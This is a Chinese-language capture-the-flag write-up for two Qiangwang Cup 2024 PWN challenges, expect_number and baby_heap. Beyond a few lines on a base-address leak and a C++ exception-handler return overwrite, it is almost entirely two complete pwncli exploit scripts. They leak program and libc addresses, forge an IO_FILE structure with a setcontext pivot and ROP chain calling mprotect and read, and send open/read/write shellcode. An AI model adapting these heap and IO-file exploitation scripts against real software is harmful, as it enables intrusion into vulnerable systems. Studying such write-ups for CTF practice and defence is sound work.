强网杯2024

PWN

expect_number (复现)

做这道题的时候已经快结束了, 没有注意到展示历史记录的地址可以进行对程序基地址的泄露, 残念

我们可以通过对最后 0x5520 处修改一个自己来实现对存在溢出的函数的执行

考点是 c++ 的异常处理
将返回地址覆盖为存在后门的的handler就好了
覆盖的 rbp 需要可写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#!/usr/bin/env python3
from pwncli import *
from ctypes import *
from time import time
from struct import *

cli_script() # 使用脚本模式必须显式调用这个函数

# 你能够从gift里面取到很多东西
io = gift["io"] # io对象,pwn.process或者pwn.remote
elf = gift["elf"] # ELF对象,ELF("./pwn")
libc = gift.libc # ELF对象, ELF("./libc.so.6")
filename = gift.filename # current filename
is_debug = gift.debug # is debug or not
is_remote = gift.remote # is remote or not
gdb_pid = gift.gdb_pid # gdb pid if debug

arch='amd64'
context(log_level = 'debug',os='linux',arch=arch)
if gift.remote:
#libc = ELF("./libc.so.6")
#gift['libc'] = libc
# 有时候远程提供的libc与本地不一样,打靶机时替换libc为远程libc
pass
libc_box = LibcBox() # LibcBox对象

r_l = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
r_l.srand(1)
# - - - - - - - - - - - - - #
c = [1,1,2,2,1,1,2,2,0,0,0,2,2,2]

b = '/*-/-/*+--*/*//*+*++/+/-***///-***-/-+/*---/+-*+/*-*/++-**+---+/+-*---+/*-*/*+/*/++*++//*/++++/+***//***/--*-+++-+*---+/+-/--/-/-//+--*-*//++/+-//*++/+-+/*-*/-//+++-*-+*++*/+///-/++/-+//*-*/--/-*+//+-++//-**++*++---++/*/*/+-+*-/**-**+-//++/*+//*++*/*---**-+++**-++**+-*++++//*+/-/-*-*+//-'
# - - - - - - - - - - - - - #
def cmd(c):
sla("waiting for your choice",str(c))
def game(c):
cmd(1)
sla("Which one do you choose? 2 or 1 or 0",str(c))


# - - - - - - - - - - - - - #
def pwn_exp():
num = 0
cc = 0
while cc < 14:
print(c[cc])
if b[num] == '-':
game(0)
elif b[num] == '+':
game(c[cc])
cc+=1
elif b[num] == '*':
game(c[cc])
cc+=1
elif b[num] == '/':
game(1)
num += 1
while num < (288-12):
if b[num] == '-':
game(0)
elif b[num] == '+':
game(0)
elif b[num] == '*':
game(1)
elif b[num] == '/':
game(1)
num += 1
cmd(2)
ru('110101120021111122001010222111011101001100010010110110001100000100100001101110111001001111000010111111111001000000100001001001010110001011100100111001000110110110000100100110111010010011101100101011000011011001000000011111000101110110011001101110011100011000011000110010000111')
elf.address = u64_ex(io.recv(6))-0x5e1a8d490c60+0x5e1a8d48c000
cmd(4)
p = b'a'*0x20+p64(elf.address+0x5f00)+p64_ex(elf.address+0x251a)
s(p)
#log

log.info('#---#---#---#---#')
#log.success('libc.address:'+hex(libc.address))
log.success('elf.address:'+hex(elf.address))
#log.success('heap_bae:'+hex(heap_base))

if __name__ == '__main__':
pwn_exp()
io.interactive()

baby_heap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
#!/usr/bin/env python3
from pwncli import *
from ctypes import *
from time import time
from struct import *

cli_script() # 使用脚本模式必须显式调用这个函数

# 你能够从gift里面取到很多东西
io = gift["io"] # io对象,pwn.process或者pwn.remote
elf = gift["elf"] # ELF对象,ELF("./pwn")
libc = gift.libc # ELF对象, ELF("./libc.so.6")
filename = gift.filename # current filename
is_debug = gift.debug # is debug or not
is_remote = gift.remote # is remote or not
gdb_pid = gift.gdb_pid # gdb pid if debug



arch='amd64'
context(log_level = 'debug',os='linux',arch=arch)
if gift.remote:
#libc = ELF("./libc.so.6")
#gift['libc'] = libc
# 有时候远程提供的libc与本地不一样,打靶机时替换libc为远程libc
pass
libc_box = LibcBox() # LibcBox对象

r_l = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
r_l.srand(0)
# - - - - - - - - - - - - - #

# - - - - - - - - - - - - - #
def cmd(c):
sla("Enter your choice: \n",str(c))
def add(size):
# 0x500 < < 0x5ff
cmd(1)
sla("Enter your commodity size \n",str(size))
def free(idx):
cmd(2)
sla("Enter which to delete: \n",str(idx))
def edit(idx,content):
cmd(3)
sla("Enter which to edit: \n",str(idx))
sa("Input the content \n",content)
def show(idx):
cmd(4)
sla("Enter which to show: \n",str(idx))
def Env():
cmd(5)
def bc(src,tar):
cmd(0)
sa("Input your target addr \n",src)
sl(tar)
# - - - - - - - - - - - - - #
def pwn_exp():
libc.address = 0
print("PWN")
add(0x528)#1
add(0x518)#2
add(0x518)#3
free(1)
add(0x538)#4
free(3)
show(1)
ru("The content is here \n")
libc.address = u64_ex(io.recv(8))-0x7fad50c1b110+0x7fad50a00000
io.recv(8)
heap_base = u64_ex(io.recv(8))
CG.set_find_area(find_in_elf=False,find_in_libc=True)
orw_Addr = (heap_base-0x1000)&0xfffffffffffff000
log.success('ret:'+hex(CG.ret()))
pay = b''
io_ = IO_FILE_plus_struct()
io_.vtable = libc.sym._IO_wfile_jumps-0xa8-0x18
io_._wide_data = heap_base+0x10+0x100+0x20
io_._IO_write_base = 0
io_._IO_write_ptr = 1
pay+=bytes(io_)[0x30:]
pay = pay.ljust(0x100,b'\x00')+p64_ex(heap_base+0x10+0x100+0x20)
pay = pay.ljust(0x168,b'\x00')+p64_ex(libc.sym.setcontext+61)
pay = pay.ljust(0x1a0,b'\x00')+p64_ex(heap_base+0x10+0x200+0x20)+p64_ex(CG.ret())
pay = pay.ljust(0x1e0,b'\x00')+p64_ex(heap_base+0x10+0x100+0x20)
pay = pay.ljust(0x200,b'\x00')
pay += p64_ex(CG.pop_rdi_ret())+p64_ex(orw_Addr)+p64_ex(CG.pop_rsi_ret())+p64_ex(0x3000)+p64_ex(CG.pop_rdx_rbx_ret())+p64_ex(7)*2+p64_ex(CG.pop_rax_ret())+p64_ex(10)+p64_ex(CG.syscall_ret())
pay += p64_ex(CG.pop_rdi_ret())+p64_ex(0)+p64_ex(CG.pop_rsi_ret())+p64_ex(orw_Addr)+p64_ex(CG.pop_rdx_rbx_ret())+p64_ex(0x1000)*2+p64_ex(CG.pop_rax_ret())+p64_ex(0)+p64_ex(CG.syscall_ret())
pay += p64_ex(libc.address + 0x000000000002b8ba)


p = p64_ex(libc.address+0x7fad50c1b110-0x7fad50a00000)*2+p64_ex(heap_base)+p64_ex(libc.symbols['_IO_list_all']-0x20)+pay
edit(1,p)
add(0x548)#5
log.success('_IO_wfile_jumps: ' + hex(libc.sym['_IO_wfile_jumps']))
log.success('_IO_wfile_overflow: '+hex(libc.sym['_IO_wfile_overflow']))
log.success('break: b * '+hex(CG.syscall_ret()))
pause()
add(0x518)
cmd(3)
shell = b'H\xc7\xc0flagPH1\xffH\x83\xefdH\x89\xe6j\x00j\x00j\x00H\x89\xe2I\xc7\xc2\x18\x00\x00\x00h\xb5\x01\x00\x00X\x0f\x05H\x89\xc7H\x89\xe6H\xc7\xc2\x00\x01\x00\x00H\xc7\xc0\x00\x00\x00\x00\x0f\x05H\xc7\xc7\x01\x00\x00\x00H\x89\xe6H\xc7\xc2\x00\x01\x00\x00H\xc7\xc0\x01\x00\x00\x00\x0f\x05'
sl(shell)
# b * _IO_flush_all_lockp

#log

log.info('#---#---#---#---#')
log.success('libc.address:'+hex(libc.address))
log.success('elf.address:'+hex(elf.address))
log.success('heap_bae:'+hex(heap_base))



if __name__ == '__main__':
pwn_exp()
io.interactive()